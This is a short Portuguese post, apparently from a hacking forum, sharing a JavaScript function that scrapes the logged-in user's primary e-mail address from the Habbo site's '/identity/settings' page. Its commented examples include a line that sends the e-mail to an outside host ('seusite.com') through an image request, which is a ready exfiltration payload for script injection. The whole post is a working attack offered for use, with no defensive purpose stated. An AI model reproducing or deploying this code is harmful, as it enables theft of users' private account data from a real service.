[Habbo] E-mail primário em function (o_O)

function getPrimary_Email() {
    req = new XMLHttpRequest();
    req.open('GET', '/identity/settings', false);
    req.send(null);
    return (req.responseText.match(/>(.+)@(.+)</)[0].split(/>/)[1].split(/</)[0]);
};

/* exemplos:
alert(getPrimary_Email());
console.log(getPrimary_Email());
document.write(getPrimary_Email());
a = new Image(); a.src = "http://seusite.com?e=" + getPrimary_Email();
*/